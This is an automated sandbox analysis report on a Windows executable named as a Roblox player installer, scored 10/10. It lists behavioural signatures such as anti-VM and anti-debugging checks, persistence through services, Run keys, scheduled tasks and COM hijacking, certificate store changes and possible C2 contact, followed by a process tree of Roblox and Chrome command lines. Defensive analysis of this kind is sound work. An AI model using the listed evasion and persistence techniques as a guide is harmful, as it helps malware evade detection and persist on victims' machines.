Analysis
- user interaction
yes - max time kernel
1799s - max time network
1802s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
10/09/2026, 18:13
General
- Target RobloxPlayerInstaller-JWB432FP73.exe
- Size 9.2MB
- Sample260910-wt52yswwet
- SHA256 3971a55adbb0bce27e1fa90c4df5be475cb80410f50c7e819a10123f8210945b
Score
10/10
Malware Config
Signatures
- Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 1 IoCs
- Looks for VMWare Tools registry key 2 TTPs 1 IoCs
- Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
- Creates new service(s) 2 TTPs
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 61 IoCs
- Loads dropped DLL 64 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks for any installed AV software in registry 1 TTPs 64 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Drops desktop.ini file(s) 1 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Drops file in System32 directory 10 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 12 IoCs
- Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 4 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 1 IoCs
- Launches sc.exe 3 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 15 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Modifies trusted root certificate store through registry 1 TTPs 5 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
- System Location Discovery: System Language Discovery 1 TTPs 55 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 64 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Time Discovery 1 TTPs 2 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Inno Setup is an open-source installation builder for Windows applications. 9 IoCs
Inno Setup installer
- NSIS installer 2 IoCs
- Checks SCSI registry key(s) 3 TTPs 26 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 26 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 16 IoCs
- Modifies Internet Explorer settings 1 TTPs 6 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 64 IoCs
- Modifies registry key 1 TTPs 2 IoCs
- Modifies system certificate store 2 TTPs 15 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 64 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 6 IoCs
- Suspicious behavior: LoadsDriver 13 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 9 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\RobloxPlayerInstaller-JWB432FP73.exe"C:\Users\Admin\AppData\Local\Temp\RobloxPlayerInstaller-JWB432FP73.exe"1⤵
- Checks whether UAC is enabled
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Roblox\Versions\version-c5aecda2245e4fae\RobloxPlayerBeta.exe"C:\Program Files (x86)\Roblox\Versions\version-c5aecda2245e4fae\RobloxPlayerBeta.exe" -app -installerLaunchTimeEpochMs 0 -clientLaunchTimeEpochMs 0 -isInstallerLaunch 9682⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Roblox\Versions\version-c5aecda2245e4fae\RobloxPlayerBeta.exe"C:\Program Files (x86)\Roblox\Versions\version-c5aecda2245e4fae\RobloxPlayerBeta.exe" -app -installerLaunchTimeEpochMs 0 -clientLaunchTimeEpochMs 0 -isInstallerLaunch 9682⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004F0 0x00000000000004F41⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DevicesFlow -s DevicesFlowUserSvc1⤵
-
C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Roblox\Versions\version-c5aecda2245e4fae\RobloxPlayerBeta.exe"C:\Program Files (x86)\Roblox\Versions\version-c5aecda2245e4fae\RobloxPlayerBeta.exe"1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Roblox\Versions\version-c5aecda2245e4fae\RobloxPlayerBeta.exe"C:\Program Files (x86)\Roblox\Versions\version-c5aecda2245e4fae\RobloxPlayerBeta.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Roblox\Versions\version-c5aecda2245e4fae\RobloxPlayerBeta.exe"C:\Program Files (x86)\Roblox\Versions\version-c5aecda2245e4fae\RobloxPlayerBeta.exe"1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Roblox\Versions\version-c5aecda2245e4fae\RobloxPlayerBeta.exe"C:\Program Files (x86)\Roblox\Versions\version-c5aecda2245e4fae\RobloxPlayerBeta.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Roblox\Versions\version-c5aecda2245e4fae\RobloxPlayerBeta.exe"C:\Program Files (x86)\Roblox\Versions\version-c5aecda2245e4fae\RobloxPlayerBeta.exe"1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Roblox\Versions\version-c5aecda2245e4fae\RobloxPlayerBeta.exe"C:\Program Files (x86)\Roblox\Versions\version-c5aecda2245e4fae\RobloxPlayerBeta.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffc5548c728,0x7ffc5548c734,0x7ffc5548c7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1920,i,14796380105508159647,11290631518491186311,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=2160 /prefetch:112⤵
- Downloads MZ/PE file
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1668,i,2824111093690704656,12192558176670118350,262144 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=2128 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2348,i,12681404014338571659,17283858201022460241,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=2320 /prefetch:132⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3324,i,2140786505018425291,2760741153649911113,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=3424 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3328,i,2301958775851943224,15883135894913148405,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4772,i,13574349654897281895,4955642521068135874,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=4776 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4948,i,9404422485145579650,8695512703096412296,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=4936 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5400,i,8388948300561517817,6249019668218187615,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=5412 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5508,i,10567130042061371496,13377754764166154881,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=5520 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5548,i,8434228253206407902,8545124345871715294,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=5560 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5704,i,11380360186091393366,5489416014465569391,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5964,i,2844782406184591060,18326748901185550200,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6076,i,10232725046786706111,17374139044356584917,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=5564 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5152,i,4540773108492284950,12201381459082583136,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5440,i,9763092514168480465,10348358897960894857,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=6016 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5456,i,16510987226352489581,1442802457906234368,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=5152 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5628,i,9118104100286269997,11627058298270518101,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=5972 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5820,i,1903448106880953278,2190811651867630668,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=5412 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5412,i,356524364682081850,800350637811049435,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=5820 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5536,i,14522344611957293572,12293157514426518802,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=5580 /prefetch:92⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6076,i,173439539878660577,1808131479481256221,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=4736 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5764,i,4363929367835454549,4512199257415731101,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=5712 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6008,i,6296445469614647237,3548577954475840983,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=6348 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5976,i,16924583551642205903,7679549776299669825,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=5760 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --metrics-shmem-handle=5776,i,17442080476168905479,3117949908750498255,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=5848 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=3444,i,8504136077251469468,13458363433011693233,262144 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=3448 /prefetch:102⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --metrics-shmem-handle=4908,i,5358401598060398230,5783624001774933793,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=3972 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --metrics-shmem-handle=3712,i,11469921303959130209,16744122278632496306,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=3728 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --metrics-shmem-handle=3640,i,664883318724407660,17100485175100649032,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=3476 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --metrics-shmem-handle=3748,i,3725116248427290980,8714264889590104511,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=6568,i,10014259264379575408,14010425864867602246,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=6228 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --metrics-shmem-handle=3720,i,11733380466035683969,12685223542248351947,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=6616 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --metrics-shmem-handle=4644,i,9637566342746411954,17278428713289181799,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=3448 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --metrics-shmem-handle=5436,i,18100204105824104939,16652527208767256952,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --metrics-shmem-handle=4484,i,14236489481297184306,5258055439453311784,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=4808 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --metrics-shmem-handle=3300,i,945952416754022386,2357256354921538485,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=6184 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --metrics-shmem-handle=5740,i,17990472159133663745,11889441561847413139,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=4776 /prefetch:12⤵
-
-
